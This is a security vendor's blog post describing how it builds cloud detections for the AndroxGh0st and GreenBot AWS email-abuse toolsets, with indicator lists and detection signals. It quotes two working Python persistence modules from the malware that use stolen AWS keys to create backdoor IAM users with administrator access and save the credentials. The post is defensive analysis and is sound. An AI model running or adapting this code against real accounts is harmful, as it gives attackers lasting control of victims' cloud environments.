Latest research, product updates and best practices on staying secure in the cloud | Permiso

Permiso | Blog | Our Approach to Detection: AndroxGh0st and GreenBot Edition

Written by Ian Ahl | Feb 23, 2023 8:08:00 AM

Introduction

The Permiso p0 Labs team has one core focus: know everything we can about cloud attacks, and make that knowledge actionable to our customers via detections in our CDR product. When we come across an attack or toolset, we get as creative as possible to form detections that are high fidelity and span the Pyramid of Pain. While writing rules for the specific atomic indicators are necessary, we are always looking to also write rules that cover the Tactics, Techniques and Procedures (TTPs) used by attackers. In this article we will talk through our approach to detection for AndroxGh0st & GreenBot persistence modules as an example.

AndroxGh0st & GreenBot

We have been tracking various toolsets geared towards AWS Simple Email Service (SES) abuse. The Lacework team recently covered one instance of this in a blog post about AndroxGh0st. Another example that we haven’t heard spoken about publicly, yet similar in nature, is a utility named Greenbot. There are a dozen or so variants of these toolsets, all of which are being passed around and sold for nefarious purposes.

đź’ˇ Sidenote: The opsec on these for sale attack tools is horrendous, but that is a post for another day.

Detection Breakdown

For the purpose of this blog we are going to focus on a specific module all these scripts have, which is for persistence in the cloud environment. Here are two (2) examples:

AndroxGh0st Persistence Module

https://www.virustotal.com/gui/file/70f35dfd9650437229453570f53969fb1644b1d07f282645c27a3877752a68bd

def autocreateses(url, ACCESS_KEY, SECRET_KEY, REGION):
    try:
        client = boto3.client('ses',
          aws_access_key_id=ACCESS_KEY,
          aws_secret_access_key=SECRET_KEY,
          region_name=REGION)
        response = client.get_send_quota()
        client2 = boto3.client('iam',
          aws_access_key_id=ACCESS_KEY,
          aws_secret_access_key=SECRET_KEY,
          region_name=REGION)
        response1 = client2.create_user(UserName='ses_xcatze')
        response2 = client2.create_login_profile(UserName='ses_xcatze',
          Password='ses_xcatze123',
          PasswordResetRequired=False)
        response3 = client2.create_group(GroupName='AdminsDDefault')
        response4 = client2.attach_group_policy(GroupName='AdminsDDefault',
          PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
        response5 = client2.add_user_to_group(GroupName='AdminsDDefault',
          UserName='ses_xcatze')
        print(ACCESS_KEY + ' ==> Success Create User')
        save = open('Result/cracked_ses_from_awskey.txt', 'a')
        remover = str(response).replace(',', '\n')
        remover2 = str(response1).replace(',', '\n')
        save.write('ACCESS KEY : ' + str(ACCESS_KEY) + '\nSECRET KEY : ' + str(SECRET_KEY) + '\nREGION : ' + str(REGION) + '\n\n==> Created User\n\n' + str(remover2) + '\n\n==> USER & PASS IAM USER\n\nUser : ses_xcatze\nPass : ses_xcatze123\n\n' + str(remover) + '\n\n=================================\n\n')
        save.close()
        try:
            sendtestaws(url, ACCESS_KEY, SECRET_KEY, REGION, remover2, remover)
        except:
            pass

    except Exception as e:
        try:
            print(ACCESS_KEY + ' ==> Failed Create User')
        finally:
            e = None
            del e

Greenbot Persistence Module

https://www.virustotal.com/gui/file/1ddf49a97a5c0c3670f394fc9678c74a0e1c41c939306ce9d73409dbabe6f358

def AwsUser(ACCESS_KEY, SECRET_KEY, REGION):
            try:
                print(ACCESS_KEY+ SECRET_KEY+ REGION)
                import boto3
                UsernameLogin = 'system'
                user = ACCESS_KEY
                keyacces = SECRET_KEY
                regionz = REGION
                client = boto3.client('iam', aws_access_key_id=user, aws_secret_access_key=keyacces, region_name=regionz)
                data = '[O][ACCOUNT]{}|{}|{}'.format(user, keyacces, regionz)
                Create_user = client.create_user(UserName=UsernameLogin)
                bitcg = f"User: {Create_user['User']['UserName']}"
                xxxxcc = f"User: {Create_user['User']['Arn']}"
                pws = 'BfJm5nNTBuvdw3rMUgzNTmFVtZpmgpPKnC8AzxWHbLZwupg44fS7RRbBMWrmqB58CDSVja4gNEjYem3BDteRvgpfExQheKuK24tv9Eh7atgFxjJW8x3Lz7df@@@'
                Buat = client.create_login_profile(Password=pws, PasswordResetRequired=False, UserName=UsernameLogin)
                Admin = client.attach_user_policy(PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess', UserName=UsernameLogin)
                xxx = bitcg + '|' + UsernameLogin + '|' + pws + '|'
                remover = str(xxx).replace('\r', '')
                simpan = open('Pegasus1337/IamAccount.txt', 'a')
                simpan.write(remover + '\n\n')
                simpan.close()
                response = client.delete_access_key(AccessKeyId=user)     
                print(Fore.GREEN+'Sucess')

While these two (2) tools are not exactly the same, they share many attributes, especially at the TTP level. We will work our way up to there though, so let’s start with the atomics!

Atomic indicators

Atomic indicators are an important step in having detection coverage. We consider these foundational table stakes rules. They are easy to create, high fidelity, but are often too specific to be solely relied upon as it takes very little effort for an attacker to modify.

Atomic indicators in the cloud, especially at the IaaS layer can be a bit different than those in traditional, on-premise environments. For instance, file hashes hold little value in cloud environments. The types of components we consider to be atomic indicators in the cloud are IP Addresses, User Agents, ARNs, AWS Account IDs, IAM user names, IAM group names, IAM Role Names, and a bunch more. In the case of these two (2) persistence modules below are the atomics:

*As a bonus, we’ll include indicators from some of the variants we have collected.

Indicator

Type

system

IAM User

ses_xcatze

IAM User

AdminsDDefault

IAM Group

Kontolz

IAM User

ses_fucked

IAM User

ses_xxx

IAM User

jSDSsajsnhjjjjjjwyyw

IAM User

arn:aws:iam::320406895696:user/Kontolz

ARN

320406895696

AWS Account ID

pubg

IAM User

snoopdog

IAM User

iDevXploit

IAM User

Xproady

IAM User

Signals

Now that the atomic indicators are out of the way, let’s work on some signals for these persistence modules. At Permiso, we create signals that can be applied to event or session attributes. While some signals are great detections/alerts on their own, we often combine signals to increase fidelity and resilience. For instance, the IAM username ses_xcatze is high fidelity, but easy for an attacker to modify.

  • Strong signals are capable of being standalone alerts/detections

  • Weak signals are often too noisy to be alerts on their own, but are great for hunting, or as components of a higher fidelity detection.

The following are some of the signals we generated based on the attacker tooling described above:

Signal

Description

Category

Known SES Abuse IAM User Created

Using the atomic list above generates a signal and alert for any IAM user creations that include the specific IAM names we have previously seen used maliciously

Strong Signal

Known SES Abuse IAM Group Created

Using the atomic list above generates a signal and alert for any IAM group creations that include the specific IAM group names we have previously seen used maliciously

Strong Signal

IAM User Created with Password Reset not Required

Looks for IAM User creations where the password reset required parameter is set to false.

Weak Signal

IAM User created with SES prefix

Looks for when IAM User is created with a name that starts with ses_

Strong Signal

IAM User Created with Generic Name

Looks for when IAM users are created with a generic name such as: system, backup, admin

Strong Signal

IAM Group Created with Admin in name

Looks for when an IAM group is created with admin in the name

Weak Signal

AdministratorAccess to IAM User

Looks for when the default Administrator Access policy is attached to a user

Weak Signal

AdministratorAccess to IAM Group

Looks for when the default Administrator Access policy is attached to a group

Weak Signal

AccessKey Deletes itself

Long-lived accesskey is deleted by itself

Strong Signal

IAM User Created using an Access Key

Looks for IAM User creations that are done via access key

Weak Signal

Newly Created User added to Group with Admin

Looks for when a recently created user is added to a group that has the default AdministratorAccess policy applied to it.

Weak Signal

Newly Created User added to Newly Created Group

Looks for when a recently created identity is added to a group that was also recently created

Weak Signal

Methodology/TTP Detections

All the “Strong Signals” referenced above work great as detections/alerts, but in our Permiso platform we combine the weak and strong signals to create powerful rules that are resilient and high fidelity. Our detection logic applies to session data, not just event data, so we are able to introduce a detection that combines multiple signals across numerous events. Looking across the persistence modules for all these SES Abuse scripts that we have collected, there are a common set of actions that they perform in order to establish persistence in AWS.

In each case:

  • The activity is performed with a long lived access key (AKIA)

  • A user is created with the password reset set flag set to false

  • The user is given Administrator Access (arn:aws:iam::aws:policy/AdministratorAccess)

    • Directly applied with an AttachUserPolicy

      or

    • Group Created, arn:aws:iam::aws:policy/AdministratorAccess applied to group, user added to group

  • The original access key is deleted

While any one of these steps may be too noisy on its own, we are able to combine them into a high fidelity and resilient rule. In the Permiso product we wrapped all this up into a rule called P0_AWS_TTP_MASSMAILER_SCRIPT_SETUP_1 .

Conclusion

Detection is our passion here at Permiso. We like to think of it as an artform that involves as much creativity as any traditional art. In this article we showed you how we took a single module of these scripts (the persistence module) and turned it into dozens of alerts and signals for our clients. Now onto the rest of the modules for AndroxGh0st and GreenBot!